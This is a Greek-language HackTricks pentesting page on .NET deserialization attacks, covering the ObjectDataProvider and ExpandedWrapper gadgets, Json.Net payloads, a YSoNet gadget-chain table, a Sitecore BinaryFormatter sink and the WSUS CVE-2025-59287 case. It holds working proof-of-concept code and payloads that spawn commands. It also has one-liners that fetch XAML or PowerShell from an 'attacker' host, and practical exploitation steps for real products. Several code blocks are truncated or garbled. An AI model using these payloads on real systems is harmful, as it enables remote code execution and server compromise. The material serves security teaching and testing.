Βασική αποσειριοποίηση .Net (ObjectDataProvider gadget, ExpandedWrapper και Json.Net)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτό το άρθρο έχει σκοπό να εξηγήσει πώς το gadget ObjectDataProvider αξιοποιείται για να αποκτηθεί RCE και πώς οι βιβλιοθήκες Serialization Json.Net και xmlSerializer μπορούν να καταχραστούν με αυτό το gadget.
ObjectDataProvider Gadget
Από την τεκμηρίωση: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ναι, είναι μια παράξενη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Η κλάση αυτή επιτρέπει να τυλίξετε ένα αυθαίρετο αντικείμενο, να χρησιμοποιήσετε MethodParameters για να ορίσετε αυθαίρετες παραμέτρους, και στη συνέχεια να χρησιμοποιήσετε MethodName για να καλέσετε μια αυθαίρετη συνάρτηση του αυθαίρετου αντικειμένου δηλωμένη με τις αυθαίρετες παραμέτρους.
Επομένως, το αυθαίρετο αντικείμενο θα εκτελέσει μια συνάρτηση με παραμέτρους κατά τη διάρκεια της αποσειριοποίησης.
Πώς είναι αυτό δυνατόν
Ο χώρος ονομάτων System.Windows.Data, που βρίσκεται μέσα στο PresentationFramework.dll στο C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, είναι όπου το ObjectDataProvider ορίζεται και υλοποιείται.
Χρησιμοποιώντας dnSpy μπορείτε να επιθεωρήσετε τον κώδικα της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα της PresentationFramework.dll –> System.Windows.Data –> ObjectDataProvider –> Method name
.png)
Όπως μπορείτε να παρατηρήσετε όταν MethodName οριστεί καλείται base.Refresh(), ας ρίξουμε μια ματιά τι κάνει αυτό:
.png)
Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει this.BeginQuery(). Το BeginQuery παρακάμπτεται (overridden) από το ObjectDataProvider και αυτό είναι που κάνει:
.png)
Σημειώστε ότι στο τέλος του κώδικα καλεί this.QueryWorke(null). Ας δούμε τι εκτελεί αυτό:
.png)
Σημειώστε ότι αυτό δεν είναι ο πλήρης κώδικας της συνάρτησης QueryWorker αλλά δείχνει το ενδιαφέρον μέρος του: Ο κώδικας καλεί this.InvokeMethodOnInstance(out ex); αυτή είναι η γραμμή όπου η μέθοδος που ορίστηκε εκτελείται.
Αν θέλετε να επιβεβαιώσετε ότι απλά ορίζοντας το MethodName θα εκτελεστεί, μπορείτε να τρέξετε αυτόν τον κώδικα:
Παράδειγμα C#: ObjectDataProvider ενεργοποιεί Process.Start
```csharp using System.Windows.Data; using System.Diagnostics;namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add(“cmd.exe”); myODP.MethodParameters.Add(“/c calc.exe”); myODP.MethodName = “Start”; } } }
</details>
Σημειώστε ότι πρέπει να προσθέσετε ως reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ ώστε να φορτώσετε `System.Windows.Data`
## ExpandedWrapper
Χρησιμοποιώντας το προηγούμενο exploit θα υπάρχουν περιπτώσεις όπου το **αντικείμενο** θα γίνει **deserialized ως** ένα _**ObjectDataProvider**_ instance (για παράδειγμα στο DotNetNuke vuln, χρησιμοποιώντας XmlSerializer, το αντικείμενο αποδιαμορφώθηκε χρησιμοποιώντας `GetType`). Σε αυτές τις περιπτώσεις δεν θα υπάρχει **καμία γνώση του τύπου του αντικειμένου που είναι τυλιγμένο** στην _ObjectDataProvider_ instance (`Process` για παράδειγμα). Μπορείτε να βρείτε περισσότερες [πληροφορίες για το DotNetNuke vuln εδώ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Αυτή η κλάση επιτρέπει να **καθορίσετε τους τύπους των αντικειμένων που είναι ενσωματωμένα** σε μια δεδομένη instance. Έτσι, αυτή η κλάση μπορεί να χρησιμοποιηθεί για να ενθυλακώσει ένα πηγαίο αντικείμενο (_ObjectDataProvider_) σε έναν νέο τύπο αντικειμένου και να παρέχει τις ιδιότητες που χρειαζόμαστε (_ObjectDataProvider.MethodName_ και _ObjectDataProvider.MethodParameters_).\
Αυτό είναι πολύ χρήσιμο για περιπτώσεις όπως αυτή που παρουσιάστηκε προηγουμένως, γιατί θα μπορούμε να **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance και **όταν αποδιαμορφωθεί** αυτή η κλάση θα **δημιουργήσει** το _**OjectDataProvider**_ αντικείμενο που θα **εκτελέσει** τη **συνάρτηση** που υποδεικνύεται στο _**MethodName**_.
You can check this wrapper with the following code:
<details>
<summary>C# παράδειγμα: ExpandedWrapper που ενθυλακώνει το ObjectDataProvider</summary>
```csharp
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Στην επίσημη σελίδα αναφέρεται ότι αυτή η βιβλιοθήκη επιτρέπει να σειριοποιήσετε και να αποσειριοποιήσετε οποιοδήποτε αντικείμενο .NET με τον ισχυρό JSON serializer του Json.NET. Έτσι, αν μπορούσαμε να αποσειριοποιήσουμε το gadget ObjectDataProvider, θα μπορούσαμε να προκαλέσουμε RCE απλά αποσειριοποιώντας ένα αντικείμενο.
Παράδειγμα Json.Net
Πρώτα απ’ όλα ας δούμε ένα παράδειγμα για το πώς να σειριοποιήσουμε/αποσειριοποιήσουμε ένα αντικείμενο χρησιμοποιώντας αυτή τη βιβλιοθήκη:
C# demo: Json.NET serialize/deserialize
```csharp using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic;namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject
</details>
### Κατάχρηση Json.Net
Χρησιμοποιώντας [ysoserial.net](https://github.com/pwntester/ysoserial.net) δημιούργησα το exploit:
```text
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Σε αυτό το code μπορείτε να test the exploit, απλώς τρέξτε το και θα δείτε ότι ένα calc εκτελείται:
C# παράδειγμα: Json.NET ObjectDataProvider exploitation PoC
```csharp using System; using System.Text; using Newtonsoft.Json;namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @“{ ‘$type’:‘System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35’, ‘MethodName’:‘Start’, ‘MethodParameters’:{ ‘$type’:‘System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’, ‘$values’:[‘cmd’, ‘/c calc.exe’] }, ‘ObjectInstance’:{‘$type’:‘System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’} }”; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject
</details>
## Σύνθετα .NET Gadget Chains (YSoNet & ysoserial.net)
Η τεχνική ObjectDataProvider + ExpandedWrapper που παρουσιάστηκε παραπάνω είναι μόνο μία από ΠΟΛΛΕΣ gadget chains που μπορούν να καταχραστούν όταν μια εφαρμογή εκτελεί unsafe .NET deserialization. Σύγχρονα red-team εργαλεία όπως **[YSoNet](https://github.com/irsdl/ysonet)** (και το παλαιότερο [ysoserial.net](https://github.com/pwntester/ysoserial.net)) αυτοματοποιούν τη δημιουργία έτοιμων προς χρήση (ready-to-use) κακόβουλων δομών αντικειμένων για δεκάδες gadgets και serialization formats.
Παρακάτω υπάρχει μια συνοπτική αναφορά των πιο χρήσιμων chains που συνοδεύονται με μια σύντομη εξήγηση του τρόπου λειτουργίας τους και παραδείγματα εντολών για τη δημιουργία των payloads.
| Gadget Chain | Κύρια Ιδέα / Πρωτογενές στοιχείο | Συνήθεις serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
| **TypeConfuseDelegate** | Διαφθείρει την εγγραφή `DelegateSerializationHolder` ώστε, όταν υλοποιηθεί, το delegate να δείχνει σε οποιαδήποτε μέθοδο που παρέχει ο attacker (π.χ. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Καταχράται το `System.Workflow.ComponentModel.ActivitySurrogateSelector` για να παρακάμψει το .NET ≥4.8 type-filtering και να επικαλεστεί απευθείας τον **constructor** μιας παρεχόμενης κλάσης ή να **μεταγλωττίσει** ένα αρχείο C# επί τόπου | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Εκμεταλλεύεται την legacy XML αναπαράσταση του `System.Data.DataSet` για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία `<ColumnMapping>` / `<DataType>` (προαιρετικά πλαστογραφώντας το assembly με `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Σε runtime με WPF (> .NET 5) συνδέει getters ιδιοτήτων μέχρι να φτάσει σε `System.CodeDom.Compiler.CompilerResults`, στη συνέχεια *μεταγλωττίζει* ή *φορτώνει* ένα DLL που παρέχεται με `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Χρησιμοποιεί το WPF `System.Windows.Data.ObjectDataProvider` για να καλέσει μια αυθαίρετη στατική μέθοδο με ελεγχόμενα ορίσματα. Το YSoNet προσθέτει μια βολική `--xamlurl` παραλλαγή για να φιλοξενήσει το κακόβουλο XAML απομακρυσμένα | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Ενσωματώνει `ScriptBlock` μέσα σε `System.Management.Automation.PSObject` που εκτελείται όταν το PowerShell αποσειριοποιεί το αντικείμενο | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Όλα τα payloads γράφονται **σε *stdout*** από προεπιλογή, καθιστώντας προφανή τη δυνατότητα να τα κάνετε pipe σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients).
### Κατασκευή / Εγκατάσταση YSoNet
Εάν δεν υπάρχουν προκατασκευασμένα binaries στα *Actions ➜ Artifacts* / *Releases*, το ακόλουθο **PowerShell** one-liner θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε κατάσταση *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
Το μεταγλωττισμένο ysonet.exe μπορεί στη συνέχεια να βρεθεί στο ysonet/bin/Release/.
Πραγματικός sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Ένας πρακτικός .NET sink προσβάσιμος σε ροές του Sitecore XP Content Editor με αυθεντικοποίηση:
- Sink API:
Sitecore.Convert.Base64ToObject(string)καλείnew BinaryFormatter().Deserialize(...). - Trigger path: pipeline
convertToRuntimeHtml→ConvertWebControls, η οποία αναζητά ένα στοιχείο-συγγενή μεid="{iframeId}_inner"και διαβάζει ένα attributevalueπου αντιμετωπίζεται ως base64‑encoded σειριοποιημένο δεδομένο. Το αποτέλεσμα μετατρέπεται σε string και εισάγεται στο HTML.
Αυθεντικοποιημένη ροή ενεργοποίησης sink του Sitecore μέσω HTTP
```text // Load HTML into EditHtml session POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx Content-Type: application/x-www-form-urlencoded__PARAMETERS=edithtml:fix&…&ctl00$ctl00$ctl05$Html=
// Server returns a handle; visiting FixHtml.aspx?hdl=… triggers deserialization GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=…
</details>
- Gadget: οποιαδήποτε BinaryFormatter chain που επιστρέφει string (οι παρενέργειες εκτελούνται κατά την αποσειριοποίηση). See YSoNet/ysoserial.net to generate payloads.
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
<a class="content_ref" href="../../network-services-pentesting/pentesting-web/sitecore/index.html"><span class="content_ref_label">Sitecore</span></a>
## Μελέτη περίπτωσης: Μη ασφαλής .NET αποσειριοποίηση σε WSUS (CVE-2025-59287)
- Προϊόν/ρόλος: Windows Server Update Services (WSUS) role σε Windows Server 2012 → 2025.
- Επιφάνεια επίθεσης: IIS-hosted WSUS endpoints πάνω από HTTP/HTTPS σε TCP 8530/8531 (συχνά εκτεθειμένα εσωτερικά; η έκθεση στο Internet είναι υψηλού κινδύνου).
- Αιτία: Μη-επαληθευμένη αποσειριοποίηση δεδομένων ελεγχόμενων από attacker χρησιμοποιώντας legacy formatters:
- `GetCookie()` endpoint deserializes an `AuthorizationCookie` with `BinaryFormatter`.
- `ReportingWebService` performs unsafe deserialization via `SoapFormatter`.
- Επιπτώσεις: Ένα επιμελημένο σειριοποιημένο αντικείμενο ενεργοποιεί μια αλυσίδα gadget κατά την αποσειριοποίηση, οδηγώντας σε arbitrary code execution ως `NT AUTHORITY\SYSTEM` είτε υπό την υπηρεσία WSUS (`wsusservice.exe`) είτε στο IIS app pool `wsuspool` (`w3wp.exe`).
Πρακτικές σημειώσεις εκμετάλλευσης
- Discovery: Scan for WSUS on TCP 8530/8531. Treat any pre-auth serialized blob reaching WSUS web methods as a potential sink for `BinaryFormatter`/`SoapFormatter` payloads.
- Payloads: Use YSoNet/ysoserial.net to generate `BinaryFormatter` or `SoapFormatter` chains (e.g., `TypeConfuseDelegate`, `ActivitySurrogateSelector`, `ObjectDataProvider`).
- Αναμενόμενη αλυσίδα διεργασιών σε επιτυχία:
- `wsusservice.exe -> cmd.exe -> cmd.exe -> powershell.exe`
- `w3wp.exe (wsuspool) -> cmd.exe -> cmd.exe -> powershell.exe`
## Αναφορές
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net – original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
- [Unit 42 – Microsoft WSUS RCE (CVE-2025-59287) actively exploited](https://unit42.paloaltonetworks.com/microsoft-cve-2025-59287/)
- [MSRC – CVE-2025-59287 advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287)
- [NVD – CVE-2025-59287](https://nvd.nist.gov/vuln/detail/CVE-2025-59287)
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks

